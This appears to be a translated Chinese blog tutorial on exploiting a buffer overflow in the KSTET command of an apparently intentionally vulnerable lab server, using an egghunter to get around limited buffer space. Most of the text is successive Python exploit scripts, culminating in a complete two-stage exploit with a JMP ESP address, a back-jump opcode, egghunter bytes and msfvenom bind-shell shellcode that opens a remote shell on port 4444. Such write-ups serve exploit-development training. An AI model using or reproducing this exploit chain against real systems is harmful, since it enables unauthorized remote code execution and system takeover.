原文链接:使用Egghunter以最小的缓冲区空间开发KSTET命令
我使用下面的muban对KSTET命令进行利用。这次我没有发送5000字节的字符来对该命令进行迷糊测试,而是只用了1000字节。
- #!/usr/bin/python
- import os
- import sys
- import socket
- host = "192.168.1.129"
- port = 9999
- buffer = "A”*1000
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((host,port))
- print s.recv(1024)
- print "[*] Sending exploit..."
- s.send("KSTET " + buffer)
- print s.recv(1024)
- s.close()
复制代码
使用这1000字节的缓冲区足以使应用程序崩溃。正如我们所看到的,即使我们已经发送了1000字节的字符,也只有94字节被应用程序接受。
使用 !mona pc 1000,我生成了1000字节的唯一字符串作为缓冲区,这样我就可以确定覆盖EIP的偏移量。
- #!/usr/bin/python
- import os
- import sys
- import socket
- host = "192.168.1.129"
- port = 9999
- buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((host,port))
- print s.recv(1024)
- print "[*] Sending exploit..."
- s.send("KSTET " + buffer)
- print s.recv(1024)
- s.close()
复制代码
发送这个独特的字符串会导致EIP被63413363覆盖。 使用 !mona findmsp,我发现偏移量是70字节。 为了验证它是否正确,我使用以下的代码进行攻击。
- #!/usr/bin/python
- import os
- import sys
- import socket
- host = "192.168.1.129"
- port = 9999
- buffer = "A"*70
- buffer += "BBBB"
- buffer += "C"*(1000-len(buffer))
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((host,port))
- print s.recv(1024)
- print "[*] Sending exploit..."
- s.send("KSTET " + buffer)
- print s.recv(1024)
- s.close()
复制代码
正如我们看到的,这个偏移量是正确的,EIP被4个B所覆盖。这里需要注意的是,ESP指向了20字节的C,它位于4个B的后面。
在有限的缓冲空间我们可以把字符从\x01拆开到\xFF来识别坏字符。同样,NULL(\x00)字符目前已经被删除。第一次分割包含了从\x01到\4F的字符。
- #!/usr/bin/python
- import os
- import sys
- import socket
- host = "192.168.1.129"
- port = 9999
- badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
- "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
- "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f")
- buffer = badchars
- buffer += "C"*(1000-len(buffer))
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((host,port))
- print s.recv(1024)
- print "[*] Sending exploit..."
- s.send("KSTET " + buffer)
- print s.recv(1024)
- s.close()
复制代码
从这里可以看出,没有检测到任何坏字符。 我测试的下一批字符是 \x50 到 \x9F。 我们继续跟踪\xA0 到 \xCF 最后一批是 \xD0 到 \xFF。经过多次重复的识别坏字符,发现只有\x00是一个坏字符。
然后我用 !mona jmp -r esp -m 'essfunc.dll' 来识别一个包含JMP ESP指令的地址。发现了几个地址。那么在这次测试中,我使用了0x625011AF。
然后我修改了代码,使用了发现的地址。
- #!/usr/bin/python
- import os
- import sys
- import socket
- host = "192.168.1.129"
- port = 9999
- buffer = "A"*70
- buffer += "\xAF\x11\x50\x62" # JMP ESP 625011AF from essfunc.dll
- buffer += "C"*(1000-len(buffer))
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((host,port))
- print s.recv(1024)
- print "[*] Sending exploit..."
- s.send("KSTET " + buffer)
- print s.recv(1024)
- s.close()
复制代码
从这里可以看出,它确实起作用了,我被重定向到了C字符的缓冲区。A的缓冲区位于C的缓冲区的上方。所以,我必须再次向后跳。 这次我决定不跳到A的开头,而是只跳回50个字节。短跳的操作码是\xEB,而-50相当于0xFFFFFFCE。 所以,我用来向后跳转50字节的指令的操作码是\xEB\xCE。
- #!/usr/bin/python
- import os
- import sys
- import socket
- host = "192.168.1.129"
- port = 9999
- buffer = "A"*70
- buffer += "\xAF\x11\x50\x62" # JMP ESP 625011AF from essfunc.dll
- buffer += "\xEB\xCE" # Jump back 50 bytes to give room for egghunter
- buffer += "C"*(1000-len(buffer))
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((host,port))
- print s.recv(1024)
- print "[*] Sending exploit..."
- s.send("KSTET " + buffer)
- print s.recv(1024)
- s.close()
复制代码 如图所示,我跳转成功了,我被重定向到了相对跳转指令($)位置的48个字节($-30h)。如果你想知道为什么只有48个字节,因为缺少的2个字节被操作码\xEB\xCE覆盖。
既然一切都运行良好,我就用!!mona egg -t Capt来生成egghunter。 在使用egghunter之前,我必须首先确定egghunter代码前的偏移量(A的数量)。在此我做了一个简单的计算:原70字节的A+4字节的JMP ESP+2字节的后跳操作码-50字节的后跳长度=26字节的A。下面显示了缓冲区的示意图和程序运行流程。 为了验证我的计算是否正确,我运行以下内容进行测试。
- #!/usr/bin/python
- import os
- import sys
- import socket
- host = "192.168.1.129"
- port = 9999
- # Egg: Capt
- # Size: 32 bytes
- egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
- "\xef\xb8\x43\x61\x70\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
- buffer = "A"*26
- buffer += egghunter
- buffer += "A"*(70-len(buffer))
- buffer += "\xAF\x11\x50\x62" # JMP ESP 625011AF from essfunc.dll
- buffer += "\xEB\xCE" # Jump back 50 bytes to give room for egghunter
- buffer += "C"*(1000-len(buffer))
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((host,port))
- print s.recv(1024)
- print "[*] Sending exploit..."
- s.send("KSTET " + buffer)
- print s.recv(1024)
- s.close()
复制代码
程序运行成功! 我被重定向到了egghunter代码的开头。 然后我用MSFvenom生成了一个shellcode。
由于shellcode不适合放在KSTET命令中,我使用STATS命令来发送我的shellcode。这样,我的shellcode就会被放在内存的某个地方,然后让egghunter找到它。
- #!/usr/bin/python
- import os
- import sys
- import socket
- host = "192.168.1.129"
- port = 9999
- # msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f c
- # Payload size: 355 bytes
- shellcode = ("\xb8\x43\x44\x5d\xed\xdd\xc0\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
- "\x53\x31\x46\x12\x03\x46\x12\x83\x85\x40\xbf\x18\xf5\xa1\xbd"
- "\xe3\x05\x32\xa2\x6a\xe0\x03\xe2\x09\x61\x33\xd2\x5a\x27\xb8"
- "\x99\x0f\xd3\x4b\xef\x87\xd4\xfc\x5a\xfe\xdb\xfd\xf7\xc2\x7a"
- "\x7e\x0a\x17\x5c\xbf\xc5\x6a\x9d\xf8\x38\x86\xcf\x51\x36\x35"
- "\xff\xd6\x02\x86\x74\xa4\x83\x8e\x69\x7d\xa5\xbf\x3c\xf5\xfc"
- "\x1f\xbf\xda\x74\x16\xa7\x3f\xb0\xe0\x5c\x8b\x4e\xf3\xb4\xc5"
- "\xaf\x58\xf9\xe9\x5d\xa0\x3e\xcd\xbd\xd7\x36\x2d\x43\xe0\x8d"
- "\x4f\x9f\x65\x15\xf7\x54\xdd\xf1\x09\xb8\xb8\x72\x05\x75\xce"
- "\xdc\x0a\x88\x03\x57\x36\x01\xa2\xb7\xbe\x51\x81\x13\x9a\x02"
- "\xa8\x02\x46\xe4\xd5\x54\x29\x59\x70\x1f\xc4\x8e\x09\x42\x81"
- "\x63\x20\x7c\x51\xec\x33\x0f\x63\xb3\xef\x87\xcf\x3c\x36\x50"
- "\x2f\x17\x8e\xce\xce\x98\xef\xc7\x14\xcc\xbf\x7f\xbc\x6d\x54"
- "\x7f\x41\xb8\xc1\x77\xe4\x13\xf4\x7a\x56\xc4\xb8\xd4\x3f\x0e"
- "\x37\x0b\x5f\x31\x9d\x24\xc8\xcc\x1e\x5b\x55\x58\xf8\x31\x75"
- "\x0c\x52\xad\xb7\x6b\x6b\x4a\xc7\x59\xc3\xfc\x80\x8b\xd4\x03"
- "\x11\x9e\x72\x93\x9a\xcd\x46\x82\x9c\xdb\xee\xd3\x0b\x91\x7e"
- "\x96\xaa\xa6\xaa\x40\x4e\x34\x31\x90\x19\x25\xee\xc7\x4e\x9b"
- "\xe7\x8d\x62\x82\x51\xb3\x7e\x52\x99\x77\xa5\xa7\x24\x76\x28"
- "\x93\x02\x68\xf4\x1c\x0f\xdc\xa8\x4a\xd9\x8a\x0e\x25\xab\x64"
- "\xd9\x9a\x65\xe0\x9c\xd0\xb5\x76\xa1\x3c\x40\x96\x10\xe9\x15"
- "\xa9\x9d\x7d\x92\xd2\xc3\x1d\x5d\x09\x40\x3d\xbc\x9b\xbd\xd6"
- "\x19\x4e\x7c\xbb\x99\xa5\x43\xc2\x19\x4f\x3c\x31\x01\x3a\x39"
- "\x7d\x85\xd7\x33\xee\x60\xd7\xe0\x0f\xa1")
- # Egg: Capt
- # Size: 32 bytes
- egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
- "\xef\xb8\x43\x61\x70\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
- buffer = "A"*26
- buffer += egghunter
- buffer += "A"*(70-len(buffer))
- buffer += "\xAF\x11\x50\x62" # JMP ESP 625011AF from essfunc.dll
- buffer += "\xEB\xCE" # Jump back 50 bytes to give room for egghunter
- buffer += "C"*(1000-len(buffer))
- # Used to send the 2nd stage shellcode
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((host,port))
- print s.recv(1024)
- print "[*] Sending shellcode somewhere in memory via STATS command..."
- s.send("STATS " + "CaptCapt" + shellcode)
- print s.recv(1024)
- s.close()
- # Used to send the 1st stage shellcode (egghunter)
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((host,port))
- print s.recv(1024)
- print "[*] Sending exploit..."
- s.send("KSTET " + buffer)
- print s.recv(1024)
- s.close()
复制代码
在执行完最终的代码后,egghunter成功地在STATS命令后运行了我的shellcode。 最终,目标机在4444/tcp上产生了一个 "监听 "端口。 最后要做的是连接到新打开的端口,获得shell访问权限。
|